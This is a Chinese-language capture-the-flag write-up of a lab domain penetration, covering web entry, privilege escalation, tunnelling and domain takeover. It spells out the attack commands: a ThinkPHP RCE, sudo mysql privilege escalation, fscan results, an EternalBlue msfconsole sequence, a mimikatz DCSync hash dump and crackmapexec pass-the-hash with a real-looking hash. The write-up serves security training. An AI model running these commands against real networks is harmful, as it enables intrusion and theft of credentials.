一次完整的实战域渗透

chr

0x01 开启环境

[color=rgba(0, 0, 0, 0.9)]

0x02 web渗透

[color=rgba(0, 0, 0, 0.9)]开启环境，访问web页面。

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]发现登录功能是个鸡肋，翻看别的功能点。

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]查看到这个熟悉的log，猜测可能存在框架漏洞。

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]使用漏洞利用工具进行探测。

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]发现存在thinkphp5.0.23漏洞，成功拿下webshell。

[color=rgba(0, 0, 0, 0.9)]

0x03 内网渗透

[color=rgba(0, 0, 0, 0.9)]尝试suid提取，无结果。

• 
  

find / -perm -u=s -type f 2>/dev/null

[color=rgba(0, 0, 0, 0.9)]尝试sudo提取。

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]发现这个mysql是一个利用点。

• 
  

https://gtfobins.github.io/

[color=rgba(0, 0, 0, 0.9)]查看提权命令

[color=rgba(0, 0, 0, 0.9)]

• 
  

sudo mysql -e '\! find / -name flag*'

[color=rgba(0, 0, 0, 0.9)]

sudo mysql -e '\! cat /root/flag/flag01.txt'

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]拿下flag1。

[color=rgba(0, 0, 0, 0.9)]继续信息收集。

• 
  

ip a

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]发现有一个内网网段，上传fscan，进行内网扫描。

• 
  

./fscan -h 172.22.1.0/24 >> 1.txt打开查看结果

• 
  

172.22.1.18:135 open172.22.1.21:135 open172.22.1.2:135 open172.22.1.18:80 open172.22.1.15:80 open172.22.1.15:22 open172.22.1.18:3306 open172.22.1.2:88 open172.22.1.21:139 open172.22.1.2:139 open172.22.1.18:445 open172.22.1.21:445 open172.22.1.2:445 open172.22.1.18:139 open[+] MS17-010 172.22.1.21    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)

WebTitle http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin

OsInfo 172.22.1.2   (Windows Server 2016 Datacenter 14393)

NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1

NetBios 172.22.1.2      [+] DCC01.xiaorang.lab             Windows Server 2016 Datacenter 14393

NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600

WebTitle http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login

WebTitle http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1已完成 14/14

扫描结束,耗时: 11.656481329s探测出内网其他的资产。

[color=rgba(0, 0, 0, 0.9)]现在我们总结一下

• 
  

172.22.1.2-》DC域控172.22.1.21-》Windows的机器并且存在MS17-010 漏洞172.22.1.18-》信呼OA办公系统

[color=rgba(0, 0, 0, 0.9)]现在进行内网穿透。

[color=rgba(0, 0, 0, 0.9)]第一种用 NPS进行代理转发。

• 
  

https://blog.csdn.net/qq_44159028/article/details/122719330

[color=rgba(0, 0, 0, 0.9)]第二种chisel同ew相似但是更稳定

• 
  

https://blog.csdn.net/weixin_43093631/article/details/118273506

[color=rgba(0, 0, 0, 0.9)]也可以用frp等等，都可以用 只要版本对应上就行。

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]目标内网信呼OA。

[color=rgba(0, 0, 0, 0.9)]弱口令 admin/admin123就成功登录了进去。

[color=rgba(0, 0, 0, 0.9)]查找信呼OA漏洞，发现有一个RCE漏洞，这是第一种打法。

• 
  

https://blog.csdn.net/solitudi/article/details/118675321

[color=rgba(0, 0, 0, 0.9)]第二种做法是在扫目录基础上，利用/phpmyadmin，可以直接 root/root 登录，然后利用日志写入 webshell

[color=rgba(0, 0, 0, 0.9)]这里就不再演示了。

• 
  

https://blog.csdn.net/m0_48108919/article/details/123053622

[color=rgba(0, 0, 0, 0.9)]通过RCE漏洞拿到webshell。（蚁剑连接的时候记得配置上代理）

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]拿下flag2。

[color=rgba(0, 0, 0, 0.9)]接下来打永恒之蓝的漏洞。

[color=rgba(0, 0, 0, 0.9)]使用msf,配置kali自带的proxychains。

• 
  

https://www.cnblogs.com/junlin623/p/17442091.html

[color=rgba(0, 0, 0, 0.9)]proxychains msfconsole走 socks5 流量，

• 
  

proxychains msfconsoleuse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcp_uuidset RHOSTS 172.22.1.21exploit

[color=rgba(0, 0, 0, 0.9)]得到正向的 meterpreter shell 后，接下来就是利用 DCSync

• 
  

https://www.cnblogs.com/CoLo/p/16488892.html

[color=rgba(0, 0, 0, 0.9)]最大的特点就是可以实现不登录到域控而获取域控上的数据。

在 MSF 下直接load kiwi，然后

• 
  

kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit 导出域内所有用户的 Hash。

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]之前扫出来172.22.1.2的 445 端口开放，利用 smb 哈希传递，直接用 kali 自带的 crackmapexec，

• 
  

proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "$cmd"

[color=rgba(0, 0, 0, 0.9)]最后一部分 flag 在/Users/Administrators/flag下

[color=rgba(0, 0, 0, 0.9)]

[color=rgba(0, 0, 0, 0.9)]拿到flag3。

[color=rgba(0, 0, 0, 0.9)]0x04 总结

[color=rgba(0, 0, 0, 0.9)]web打点--》提权--》内网穿透--》内网渗透--》拿下域控。

[color=rgba(0, 0, 0, 0.9)]该靶场对于新学内网的师傅还是挺友好的，除了最后拿下域控那一步，其余的都应该是常见的渗透手法。